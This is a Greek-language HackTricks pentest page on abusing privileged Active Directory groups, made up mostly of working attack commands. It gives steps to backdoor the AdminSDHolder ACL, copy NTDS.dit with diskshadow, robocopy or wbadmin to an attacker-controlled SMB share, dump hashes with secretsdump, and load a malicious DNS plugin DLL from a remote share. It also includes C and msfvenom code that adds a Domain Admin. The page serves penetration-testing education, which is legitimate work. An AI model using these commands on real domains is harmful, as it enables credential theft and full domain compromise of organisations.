Privileged Groups

Reading time: 12 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Well Known groups with administration privileges

  • Administrators
  • Domain Admins
  • Enterprise Admins

Account Operators

Αυτή η ομάδα έχει την εξουσία να δημιουργεί λογαριασμούς και ομάδες που δεν είναι διαχειριστές στο domain. Επιπλέον, επιτρέπει την τοπική σύνδεση στον Domain Controller (DC).

Για να προσδιοριστούν τα μέλη αυτής της ομάδας, εκτελείται η εξής εντολή:

bash
Get-NetGroupMember -Identity "Account Operators" -Recurse

Η προσθήκη νέων χρηστών επιτρέπεται, καθώς και η τοπική σύνδεση στο DC01.

AdminSDHolder group

Η Λίστα Ελέγχου Πρόσβασης (ACL) της ομάδας AdminSDHolder είναι κρίσιμη καθώς καθορίζει τα δικαιώματα για όλες τις "προστατευμένες ομάδες" εντός του Active Directory, συμπεριλαμβανομένων των ομάδων υψηλών προνομίων. Αυτός ο μηχανισμός διασφαλίζει την ασφάλεια αυτών των ομάδων αποτρέποντας μη εξουσιοδοτημένες τροποποιήσεις.

Ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτό τροποποιώντας την ACL της ομάδας AdminSDHolder, παρέχοντας πλήρη δικαιώματα σε έναν τυπικό χρήστη. Αυτό θα έδινε ουσιαστικά σε αυτόν τον χρήστη πλήρη έλεγχο σε όλες τις προστατευμένες ομάδες. Εάν τα δικαιώματα αυτού του χρήστη τροποποιηθούν ή αφαιρεθούν, θα αποκατασταθούν αυτόματα εντός μιας ώρας λόγω του σχεδιασμού του συστήματος.

Οι εντολές για την ανασκόπηση των μελών και την τροποποίηση των δικαιωμάτων περιλαμβάνουν:

bash
Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}

Ένα σενάριο είναι διαθέσιμο για να επιταχύνει τη διαδικασία αποκατάστασης: Invoke-ADSDPropagation.ps1.

Για περισσότερες λεπτομέρειες, επισκεφθείτε το ired.team.

AD Recycle Bin

Η συμμετοχή σε αυτή την ομάδα επιτρέπει την ανάγνωση διαγραμμένων αντικειμένων Active Directory, τα οποία μπορεί να αποκαλύψουν ευαίσθητες πληροφορίες:

bash
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *

Πρόσβαση στον Ελεγκτή Τομέα

Η πρόσβαση σε αρχεία στον DC είναι περιορισμένη εκτός αν ο χρήστης είναι μέλος της ομάδας Server Operators, η οποία αλλάζει το επίπεδο πρόσβασης.

Κλιμάκωση Δικαιωμάτων

Χρησιμοποιώντας το PsService ή το sc από το Sysinternals, μπορεί κανείς να επιθεωρήσει και να τροποποιήσει τις άδειες υπηρεσιών. Η ομάδα Server Operators, για παράδειγμα, έχει πλήρη έλεγχο σε ορισμένες υπηρεσίες, επιτρέποντας την εκτέλεση αυθαίρετων εντολών και κλιμάκωση δικαιωμάτων:

cmd
C:\> .\PsService.exe security AppReadiness

Αυτή η εντολή αποκαλύπτει ότι οι Server Operators έχουν πλήρη πρόσβαση, επιτρέποντας τη χειραγώγηση υπηρεσιών για ανυψωμένα δικαιώματα.

Backup Operators

Η συμμετοχή στην ομάδα Backup Operators παρέχει πρόσβαση στο σύστημα αρχείων DC01 λόγω των δικαιωμάτων SeBackup και SeRestore. Αυτά τα δικαιώματα επιτρέπουν τη διαδρομή φακέλων, την καταγραφή και τις δυνατότητες αντιγραφής αρχείων, ακόμη και χωρίς ρητές άδειες, χρησιμοποιώντας τη σημαία FILE_FLAG_BACKUP_SEMANTICS. Είναι απαραίτητο να χρησιμοποιηθούν συγκεκριμένα σενάρια για αυτή τη διαδικασία.

Για να καταγράψετε τα μέλη της ομάδας, εκτελέστε:

bash
Get-NetGroupMember -Identity "Backup Operators" -Recurse

Τοπική Επίθεση

Για να εκμεταλλευτείτε αυτά τα προνόμια τοπικά, χρησιμοποιούνται τα εξής βήματα:

  1. Εισαγωγή απαραίτητων βιβλιοθηκών:
bash
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
  1. Ενεργοποιήστε και επαληθεύστε το SeBackupPrivilege:
bash
Set-SeBackupPrivilege
Get-SeBackupPrivilege
  1. Πρόσβαση και αντιγραφή αρχείων από περιορισμένους καταλόγους, για παράδειγμα:
bash
dir C:\Users\Administrator\
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite

AD Attack

Η άμεση πρόσβαση στο σύστημα αρχείων του Domain Controller επιτρέπει την κλοπή της βάσης δεδομένων NTDS.dit, η οποία περιέχει όλους τους NTLM hashes για τους χρήστες και τους υπολογιστές του τομέα.

Using diskshadow.exe

  1. Δημιουργήστε μια σκιαγραφία του δίσκου C:
cmd
diskshadow.exe
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
begin backup
add volume C: alias cdrive
create
expose %cdrive% F:
end backup
exit
  1. Αντιγράψτε το NTDS.dit από την αντίγραφο σκιάς:
cmd
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit

Εναλλακτικά, χρησιμοποιήστε robocopy για την αντιγραφή αρχείων:

cmd
robocopy /B F:\Windows\NTDS .\ntds ntds.dit
  1. Εξαγωγή SYSTEM και SAM για την ανάκτηση hash:
cmd
reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV
  1. Ανάκτηση όλων των κατακερματισμών από το NTDS.dit:
shell-session
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL

Χρησιμοποιώντας το wbadmin.exe

  1. Ρυθμίστε το σύστημα αρχείων NTFS για τον διακομιστή SMB στη μηχανή του επιτιθέμενου και αποθηκεύστε τα διαπιστευτήρια SMB στη μηχανή-στόχο.
  2. Χρησιμοποιήστε το wbadmin.exe για την εφεδρική αντιγραφή του συστήματος και την εξαγωγή του NTDS.dit:
cmd
net use X: \\<AttackIP>\sharename /user:smbuser password
echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds
wbadmin get versions
echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl

Για μια πρακτική επίδειξη, δείτε το DEMO VIDEO WITH IPPSEC.

DnsAdmins

Τα μέλη της ομάδας DnsAdmins μπορούν να εκμεταλλευτούν τα προνόμιά τους για να φορτώσουν μια αυθαίρετη DLL με προνόμια SYSTEM σε έναν διακομιστή DNS, που συχνά φιλοξενείται σε Domain Controllers. Αυτή η δυνατότητα επιτρέπει σημαντική δυνατότητα εκμετάλλευσης.

Για να καταγράψετε τα μέλη της ομάδας DnsAdmins, χρησιμοποιήστε:

bash
Get-NetGroupMember -Identity "DnsAdmins" -Recurse

Εκτέλεση αυθαίρετης DLL

Τα μέλη μπορούν να κάνουν τον διακομιστή DNS να φορτώσει μια αυθαίρετη DLL (είτε τοπικά είτε από μια απομακρυσμένη κοινή χρήση) χρησιμοποιώντας εντολές όπως:

bash
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
c
// Modify DLL to add user
DWORD WINAPI DnsPluginInitialize(PVOID pDnsAllocateFunction, PVOID pDnsFreeFunction)
{
system("C:\\Windows\\System32\\net.exe user Hacker T0T4llyrAndOm... /add /domain");
system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /domain");
}
bash
// Generate DLL with msfvenom
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll

Η επανεκκίνηση της υπηρεσίας DNS (η οποία μπορεί να απαιτεί επιπλέον δικαιώματα) είναι απαραίτητη για να φορτωθεί το DLL:

csharp
sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns

Για περισσότερες λεπτομέρειες σχετικά με αυτό το επιθετικό διανύσμα, ανατρέξτε στο ired.team.

Mimilib.dll

Είναι επίσης εφικτό να χρησιμοποιηθεί το mimilib.dll για εκτέλεση εντολών, τροποποιώντας το για να εκτελεί συγκεκριμένες εντολές ή αντίστροφες θήκες. Δείτε αυτή την ανάρτηση για περισσότερες πληροφορίες.

WPAD Record για MitM

Οι DnsAdmins μπορούν να χειριστούν τα DNS records για να εκτελέσουν επιθέσεις Man-in-the-Middle (MitM) δημιουργώντας ένα WPAD record μετά την απενεργοποίηση της παγκόσμιας λίστας αποκλεισμού ερωτημάτων. Εργαλεία όπως το Responder ή το Inveigh μπορούν να χρησιμοποιηθούν για spoofing και καταγραφή δικτυακής κίνησης.

Event Log Readers

Τα μέλη μπορούν να έχουν πρόσβαση σε αρχεία καταγραφής γεγονότων, ενδεχομένως βρίσκοντας ευαίσθητες πληροφορίες όπως κωδικούς πρόσβασης σε απλή μορφή ή λεπτομέρειες εκτέλεσης εντολών:

bash
# Get members and search logs for sensitive information
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}

Exchange Windows Permissions

Αυτή η ομάδα μπορεί να τροποποιήσει τα DACLs στο αντικείμενο τομέα, πιθανώς παρέχοντας δικαιώματα DCSync. Οι τεχνικές για την κλιμάκωση δικαιωμάτων που εκμεταλλεύονται αυτή την ομάδα περιγράφονται στο Exchange-AD-Privesc GitHub repo.

bash
# List members
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse

Hyper-V Administrators

Οι Hyper-V Administrators έχουν πλήρη πρόσβαση στο Hyper-V, η οποία μπορεί να εκμεταλλευτεί για να αποκτήσουν έλεγχο πάνω σε εικονικοποιημένους Domain Controllers. Αυτό περιλαμβάνει την κλωνοποίηση ζωντανών DCs και την εξαγωγή NTLM hashes από το αρχείο NTDS.dit.

Exploitation Example

Η υπηρεσία συντήρησης Mozilla του Firefox μπορεί να εκμεταλλευτεί από τους Hyper-V Administrators για να εκτελέσουν εντολές ως SYSTEM. Αυτό περιλαμβάνει τη δημιουργία ενός σκληρού συνδέσμου σε ένα προστατευμένο αρχείο SYSTEM και την αντικατάστασή του με ένα κακόβουλο εκτελέσιμο:

bash
# Take ownership and start the service
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
sc.exe start MozillaMaintenance

Σημείωση: Η εκμετάλλευση σκληρών συνδέσμων έχει μετριαστεί σε πρόσφατες ενημερώσεις των Windows.

Διαχείριση Οργάνωσης

Σε περιβάλλοντα όπου έχει αναπτυχθεί το Microsoft Exchange, μια ειδική ομάδα γνωστή ως Organization Management κατέχει σημαντικές δυνατότητες. Αυτή η ομάδα έχει προνόμια να έχει πρόσβαση στα γραμματοκιβώτια όλων των χρηστών του τομέα και διατηρεί πλήρη έλεγχο πάνω στην Οργανωτική Μονάδα (OU) 'Microsoft Exchange Security Groups'. Αυτός ο έλεγχος περιλαμβάνει την ομάδα Exchange Windows Permissions, η οποία μπορεί να εκμεταλλευτεί για κλιμάκωση προνομίων.

Εκμετάλλευση Προνομίων και Εντολές

Εκτυπωτές

Τα μέλη της ομάδας Print Operators είναι προικισμένα με αρκετά προνόμια, συμπεριλαμβανομένου του SeLoadDriverPrivilege, το οποίο τους επιτρέπει να συνδέονται τοπικά σε έναν Domain Controller, να τον απενεργοποιούν και να διαχειρίζονται εκτυπωτές. Για να εκμεταλλευτούν αυτά τα προνόμια, ειδικά αν το SeLoadDriverPrivilege δεν είναι ορατό σε μη ανυψωμένο περιβάλλον, είναι απαραίτητο να παρακαμφθεί ο Έλεγχος Λογαριασμού Χρήστη (UAC).

Για να καταγραφούν τα μέλη αυτής της ομάδας, χρησιμοποιείται η ακόλουθη εντολή PowerShell:

bash
Get-NetGroupMember -Identity "Print Operators" -Recurse

Για πιο λεπτομερείς τεχνικές εκμετάλλευσης που σχετίζονται με SeLoadDriverPrivilege, θα πρέπει να συμβουλευτείτε συγκεκριμένους πόρους ασφαλείας.

Remote Desktop Users

Τα μέλη αυτής της ομάδας έχουν πρόσβαση σε υπολογιστές μέσω του πρωτοκόλλου Remote Desktop (RDP). Για να καταμετρήσετε αυτά τα μέλη, είναι διαθέσιμες εντολές PowerShell:

bash
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"

Περισσότερες πληροφορίες σχετικά με την εκμετάλλευση του RDP μπορούν να βρεθούν σε ειδικούς πόρους pentesting.

Χρήστες Απομακρυσμένης Διαχείρισης

Τα μέλη μπορούν να έχουν πρόσβαση σε υπολογιστές μέσω Windows Remote Management (WinRM). Η καταμέτρηση αυτών των μελών επιτυγχάνεται μέσω:

bash
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"

Για τεχνικές εκμετάλλευσης που σχετίζονται με WinRM, θα πρέπει να συμβουλευτείτε συγκεκριμένη τεκμηρίωση.

Διαχειριστές Διακομιστών

Αυτή η ομάδα έχει δικαιώματα να εκτελεί διάφορες ρυθμίσεις στους Domain Controllers, συμπεριλαμβανομένων των δικαιωμάτων δημιουργίας αντιγράφων ασφαλείας και αποκατάστασης, αλλαγής της συστημικής ώρας και τερματισμού του συστήματος. Για να καταμετρήσετε τα μέλη, η εντολή που παρέχεται είναι:

bash
Get-NetGroupMember -Identity "Server Operators" -Recurse

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks